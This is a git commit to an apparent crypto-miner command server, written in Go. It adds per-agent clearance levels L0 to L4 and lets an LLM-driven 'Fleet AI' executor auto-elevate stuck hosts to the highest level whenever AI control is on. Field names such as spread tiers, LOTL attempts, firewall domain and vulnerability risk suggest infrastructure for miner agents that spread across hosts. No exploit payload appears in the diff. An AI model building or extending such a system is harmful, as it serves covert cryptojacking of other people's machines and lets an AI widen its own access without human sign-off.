Add L0-L4 security clearance for fleet commands and AI elevation.
Gate manual and AI commands by per-agent clearance, auto-elevate stuck hosts to L4 when AI mode allows, and surface clearance in Access Depth and LOTL timeline.
This commit is contained in:
146
server/internal/api/clearance.go
Normal file
146
server/internal/api/clearance.go
Normal file
@@ -0,0 +1,146 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"sync"
|
||||
|
||||
fleetai "crypto-miner-server/internal/ai"
|
||||
"crypto-miner-server/internal/clearance"
|
||||
"crypto-miner-server/internal/models"
|
||||
)
|
||||
|
||||
const stuckHostFailedTierThreshold = 14
|
||||
|
||||
// ClearanceManager returns the hub's session clearance tracker.
|
||||
func (h *WSHub) ClearanceManager() *ClearanceManager {
|
||||
if h == nil {
|
||||
return nil
|
||||
}
|
||||
return h.clearance
|
||||
}
|
||||
|
||||
// ClearanceManager tracks per-agent session clearance and broadcasts changes.
|
||||
type ClearanceManager struct {
|
||||
hub *WSHub
|
||||
mu sync.RWMutex
|
||||
// agentClearance holds live session clearance keyed by agent ID.
|
||||
agentClearance map[string]int
|
||||
}
|
||||
|
||||
func NewClearanceManager(hub *WSHub) *ClearanceManager {
|
||||
return &ClearanceManager{
|
||||
hub: hub,
|
||||
agentClearance: make(map[string]int),
|
||||
}
|
||||
}
|
||||
|
||||
// InitAgent sets baseline clearance when an agent connects.
|
||||
func (m *ClearanceManager) InitAgent(agentID string, agent *models.Agent) int {
|
||||
if m == nil {
|
||||
return clearance.DefaultClearance(agent)
|
||||
}
|
||||
level := clearance.DefaultClearance(agent)
|
||||
m.mu.Lock()
|
||||
m.agentClearance[agentID] = level
|
||||
m.mu.Unlock()
|
||||
m.pushToAgent(agentID, level)
|
||||
return level
|
||||
}
|
||||
|
||||
// RemoveAgent drops session clearance state.
|
||||
func (m *ClearanceManager) RemoveAgent(agentID string) {
|
||||
if m == nil {
|
||||
return
|
||||
}
|
||||
m.mu.Lock()
|
||||
delete(m.agentClearance, agentID)
|
||||
m.mu.Unlock()
|
||||
}
|
||||
|
||||
// Level returns the current session clearance for an agent.
|
||||
func (m *ClearanceManager) Level(agentID string) int {
|
||||
if m == nil {
|
||||
return clearance.L0
|
||||
}
|
||||
m.mu.RLock()
|
||||
level, ok := m.agentClearance[agentID]
|
||||
m.mu.RUnlock()
|
||||
if ok {
|
||||
return level
|
||||
}
|
||||
if m.hub != nil && m.hub.db != nil {
|
||||
if agent, err := m.hub.db.GetAgent(agentID); err == nil && agent != nil {
|
||||
return clearance.DefaultClearance(agent)
|
||||
}
|
||||
}
|
||||
return clearance.L0
|
||||
}
|
||||
|
||||
// RequestElevation raises clearance when needed and notifies dashboards.
|
||||
func (m *ClearanceManager) RequestElevation(agentID string, toLevel int, reason, source string) (int, error) {
|
||||
if m == nil {
|
||||
return clearance.L0, nil
|
||||
}
|
||||
current := m.Level(agentID)
|
||||
newLevel, err := clearance.RequestElevation(m.hub.db, agentID, current, toLevel, reason, source)
|
||||
if err != nil {
|
||||
return current, err
|
||||
}
|
||||
if newLevel <= current {
|
||||
return current, nil
|
||||
}
|
||||
m.mu.Lock()
|
||||
m.agentClearance[agentID] = newLevel
|
||||
m.mu.Unlock()
|
||||
m.pushToAgent(agentID, newLevel)
|
||||
m.broadcastElevation(agentID, current, newLevel, reason, source)
|
||||
return newLevel, nil
|
||||
}
|
||||
|
||||
func (m *ClearanceManager) pushToAgent(agentID string, level int) {
|
||||
if m == nil || m.hub == nil {
|
||||
return
|
||||
}
|
||||
_ = m.hub.SendToAgent(agentID, Message{
|
||||
Type: "clearance_update",
|
||||
Payload: mustMarshal(map[string]interface{}{
|
||||
"clearance_level": level,
|
||||
}),
|
||||
})
|
||||
}
|
||||
|
||||
func (m *ClearanceManager) broadcastElevation(agentID string, fromLevel, toLevel int, reason, source string) {
|
||||
if m == nil || m.hub == nil {
|
||||
return
|
||||
}
|
||||
m.hub.broadcastDashboard(Message{
|
||||
Type: "clearance_elevated",
|
||||
Payload: mustMarshal(map[string]interface{}{
|
||||
"agent_id": agentID,
|
||||
"from_level": fromLevel,
|
||||
"to_level": toLevel,
|
||||
"reason": reason,
|
||||
"source": source,
|
||||
}),
|
||||
})
|
||||
}
|
||||
|
||||
// ClearanceGuardExecutor wraps FleetAIExecutor with clearance enforcement.
|
||||
type ClearanceGuardExecutor struct {
|
||||
Inner *FleetAIExecutor
|
||||
Clearance *ClearanceManager
|
||||
}
|
||||
|
||||
func (e *ClearanceGuardExecutor) Execute(agentID string, cmd fleetai.Command) (string, error) {
|
||||
if e == nil || e.Inner == nil {
|
||||
return "", fmt.Errorf("executor unavailable")
|
||||
}
|
||||
level := clearance.L0
|
||||
if e.Clearance != nil {
|
||||
level = e.Clearance.Level(agentID)
|
||||
}
|
||||
if err := clearance.EnforceClearance(cmd.Type, cmd.Args, level); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return e.Inner.Execute(agentID, cmd)
|
||||
}
|
||||
@@ -6,17 +6,20 @@ import (
|
||||
"strings"
|
||||
|
||||
fleetai "crypto-miner-server/internal/ai"
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
"crypto-miner-server/internal/strategy"
|
||||
)
|
||||
|
||||
// FleetAIConfigView is the Calibrate subset for Fleet AI Control.
|
||||
type FleetAIConfigView struct {
|
||||
AIControlEnabled bool `json:"ai_control_enabled"`
|
||||
AIEndpoint string `json:"ai_endpoint"`
|
||||
AIModel string `json:"ai_model"`
|
||||
AINoContext bool `json:"ai_no_context"`
|
||||
AIDecisionIntervalSec int `json:"ai_decision_interval_sec"`
|
||||
AIControlEnabled bool `json:"ai_control_enabled"`
|
||||
AIEndpoint string `json:"ai_endpoint"`
|
||||
AIModel string `json:"ai_model"`
|
||||
AINoContext bool `json:"ai_no_context"`
|
||||
AIDecisionIntervalSec int `json:"ai_decision_interval_sec"`
|
||||
AIAutoElevateClearance bool `json:"ai_auto_elevate_clearance"`
|
||||
AIPersona string `json:"ai_persona"`
|
||||
}
|
||||
|
||||
// FleetAIConfigSource reads/writes Fleet AI settings from server config.
|
||||
@@ -69,6 +72,15 @@ func (h *WSHub) FleetAISnapshot(agentID string) (fleetai.AgentSnapshot, bool) {
|
||||
h.mu.RUnlock()
|
||||
|
||||
snap.SpreadState = describeSpreadState(agent, snap.Capabilities)
|
||||
if engine != nil {
|
||||
fp := engine.AgentFingerprint(agentID)
|
||||
if fp.GOOS == "" {
|
||||
fp = strategy.FingerprintFromAuth(agent.Platform, agent.IP, agent.FirewallDomain != nil && *agent.FirewallDomain)
|
||||
}
|
||||
snap.FingerprintKey = fp.Key()
|
||||
}
|
||||
snap.Stuck = fleetai.ComputeStuck(snap)
|
||||
snap.FailedTierCount = countFailedSpreadTiers(snap.LOTLAttempts)
|
||||
if engine != nil && !aiMode {
|
||||
fp := strategy.FingerprintFromAuth(agent.Platform, agent.IP, agent.FirewallDomain != nil && *agent.FirewallDomain)
|
||||
adaptive := engine.StrategyForAgent(agentID, fp)
|
||||
@@ -148,6 +160,74 @@ func mergeTelemetryIntoSnapshot(snap *fleetai.AgentSnapshot, tel map[string]inte
|
||||
n := int(v)
|
||||
snap.VulnRisk = &n
|
||||
}
|
||||
if v, ok := tel["stuck"].(bool); ok {
|
||||
snap.Stuck = v
|
||||
}
|
||||
}
|
||||
|
||||
func countFailedSpreadTiers(attempts []fleetai.TierAttempt) int {
|
||||
attemptByTier := make(map[string]fleetai.TierAttempt, len(attempts))
|
||||
for _, a := range attempts {
|
||||
attemptByTier[a.Tier] = a
|
||||
}
|
||||
failed := 0
|
||||
for _, tier := range fleetai.DefaultSpreadTiers() {
|
||||
if a, ok := attemptByTier[tier]; ok && !a.OK {
|
||||
failed++
|
||||
}
|
||||
}
|
||||
return failed
|
||||
}
|
||||
|
||||
// DatabaseCourtAdapter supplies failure atlas and phenotype data for court sessions.
|
||||
type DatabaseCourtAdapter struct {
|
||||
DB interface {
|
||||
FailureAtlasSummary(fingerprintKey, goos string) (string, error)
|
||||
GetFleetPhenotypeByFingerprint(fingerprint string) (*db.StoredPhenotype, error)
|
||||
ListFleetPhenotypes(fingerprint string) ([]db.StoredPhenotype, error)
|
||||
}
|
||||
}
|
||||
|
||||
func (a *DatabaseCourtAdapter) FailureAtlasSummary(fingerprintKey, goos string) string {
|
||||
if a == nil || a.DB == nil {
|
||||
return ""
|
||||
}
|
||||
summary, err := a.DB.FailureAtlasSummary(fingerprintKey, goos)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
return summary
|
||||
}
|
||||
|
||||
func (a *DatabaseCourtAdapter) BestPhenotype(fingerprintKey, goos string) (*strategy.FleetPhenotype, bool) {
|
||||
if a == nil || a.DB == nil {
|
||||
return nil, false
|
||||
}
|
||||
stored, err := a.DB.GetFleetPhenotypeByFingerprint(fingerprintKey)
|
||||
if err == nil && stored != nil {
|
||||
p := strategy.PhenotypeFromStored(*stored)
|
||||
return &p, true
|
||||
}
|
||||
rows, err := a.DB.ListFleetPhenotypes("")
|
||||
if err != nil || len(rows) == 0 || goos == "" {
|
||||
return nil, false
|
||||
}
|
||||
prefix := goos + "|"
|
||||
var best *db.StoredPhenotype
|
||||
for i := range rows {
|
||||
row := &rows[i]
|
||||
if !strings.HasPrefix(row.Fingerprint, prefix) {
|
||||
continue
|
||||
}
|
||||
if best == nil || row.PeakHashrate > best.PeakHashrate {
|
||||
best = row
|
||||
}
|
||||
}
|
||||
if best == nil {
|
||||
return nil, false
|
||||
}
|
||||
p := strategy.PhenotypeFromStored(*best)
|
||||
return &p, true
|
||||
}
|
||||
|
||||
// FleetAIExecutor dispatches parsed LLM commands via existing WS command paths.
|
||||
@@ -321,24 +401,29 @@ func (a *ConfigAIAdapter) AIConfig() fleetai.Config {
|
||||
endpoint = "http://127.0.0.1:11434/v1"
|
||||
}
|
||||
return fleetai.Config{
|
||||
Enabled: v.AIControlEnabled,
|
||||
Endpoint: endpoint,
|
||||
Model: strings.TrimSpace(v.AIModel),
|
||||
NoContext: v.AINoContext,
|
||||
IntervalSec: interval,
|
||||
Enabled: v.AIControlEnabled,
|
||||
Endpoint: endpoint,
|
||||
Model: strings.TrimSpace(v.AIModel),
|
||||
NoContext: v.AINoContext,
|
||||
IntervalSec: interval,
|
||||
AutoElevateClearance: v.AIAutoElevateClearance || v.AIControlEnabled,
|
||||
Persona: fleetai.NormalizePersona(v.AIPersona),
|
||||
}
|
||||
}
|
||||
|
||||
// DatabaseAIDecisionStore wraps db for InsertAIDecision.
|
||||
type DatabaseAIDecisionStore struct {
|
||||
DB interface {
|
||||
InsertAIDecision(agentID, promptHash, response, commandsExecuted string) error
|
||||
InsertAIDecision(agentID, promptHash, response, commandsExecuted string, courtSession bool, prosecutorSnippet, defenderSnippet, judgeVerdict string) error
|
||||
}
|
||||
}
|
||||
|
||||
func (s *DatabaseAIDecisionStore) InsertAIDecision(agentID, promptHash, response, commandsExecuted string) error {
|
||||
func (s *DatabaseAIDecisionStore) InsertAIDecision(agentID, promptHash, response, commandsExecuted string, court *fleetai.CourtDecisionMeta) error {
|
||||
if s == nil || s.DB == nil {
|
||||
return nil
|
||||
}
|
||||
return s.DB.InsertAIDecision(agentID, promptHash, response, commandsExecuted)
|
||||
if court == nil {
|
||||
return s.DB.InsertAIDecision(agentID, promptHash, response, commandsExecuted, false, "", "", "")
|
||||
}
|
||||
return s.DB.InsertAIDecision(agentID, promptHash, response, commandsExecuted, court.CourtSession, court.ProsecutorSnippet, court.DefenderSnippet, court.JudgeVerdict)
|
||||
}
|
||||
|
||||
@@ -88,3 +88,33 @@ func (h *FleetAIHandler) GetDecisions(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
writeJSON(w, rows)
|
||||
}
|
||||
|
||||
func (h *FleetAIHandler) GetClearanceEvents(w http.ResponseWriter, r *http.Request) {
|
||||
if h.db == nil {
|
||||
writeJSON(w, []db.ClearanceEvent{})
|
||||
return
|
||||
}
|
||||
listFn, ok := h.db.(interface {
|
||||
ListClearanceEvents(agentID string, limit int) ([]db.ClearanceEvent, error)
|
||||
})
|
||||
if !ok {
|
||||
writeJSON(w, []db.ClearanceEvent{})
|
||||
return
|
||||
}
|
||||
agentID := strings.TrimSpace(r.URL.Query().Get("agent_id"))
|
||||
limit := 50
|
||||
if raw := r.URL.Query().Get("limit"); raw != "" {
|
||||
if n, err := strconv.Atoi(raw); err == nil && n > 0 {
|
||||
limit = n
|
||||
}
|
||||
}
|
||||
rows, err := listFn.ListClearanceEvents(agentID, limit)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
if rows == nil {
|
||||
rows = []db.ClearanceEvent{}
|
||||
}
|
||||
writeJSON(w, rows)
|
||||
}
|
||||
|
||||
@@ -16,6 +16,7 @@ import (
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/alerts"
|
||||
"crypto-miner-server/internal/clearance"
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/pool"
|
||||
|
||||
@@ -385,6 +386,21 @@ func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request)
|
||||
http.Error(w, "websocket hub unavailable", http.StatusServiceUnavailable)
|
||||
return
|
||||
}
|
||||
if id != "all" {
|
||||
level := clearance.L0
|
||||
if mgr := f.ws.ClearanceManager(); mgr != nil {
|
||||
level = mgr.Level(id)
|
||||
}
|
||||
if err := clearance.EnforceAction(req.Action, level); err != nil {
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"success": false,
|
||||
"error": err.Error(),
|
||||
"agent_id": id,
|
||||
"action": req.Action,
|
||||
})
|
||||
return
|
||||
}
|
||||
}
|
||||
args := map[string]interface{}{}
|
||||
if req.TailLines > 0 {
|
||||
args["tail_lines"] = req.TailLines
|
||||
@@ -599,7 +615,16 @@ func (f *FleetHandler) PostBulkCommand(w http.ResponseWriter, r *http.Request) {
|
||||
|
||||
sent := 0
|
||||
failed := 0
|
||||
mgr := f.ws.ClearanceManager()
|
||||
for _, id := range req.AgentIDs {
|
||||
level := clearance.L0
|
||||
if mgr != nil {
|
||||
level = mgr.Level(id)
|
||||
}
|
||||
if err := clearance.EnforceAction(req.Action, level); err != nil {
|
||||
failed++
|
||||
continue
|
||||
}
|
||||
if err := f.ws.SendAgentCommand(id, req.Action, args); err != nil {
|
||||
failed++
|
||||
} else {
|
||||
|
||||
Reference in New Issue
Block a user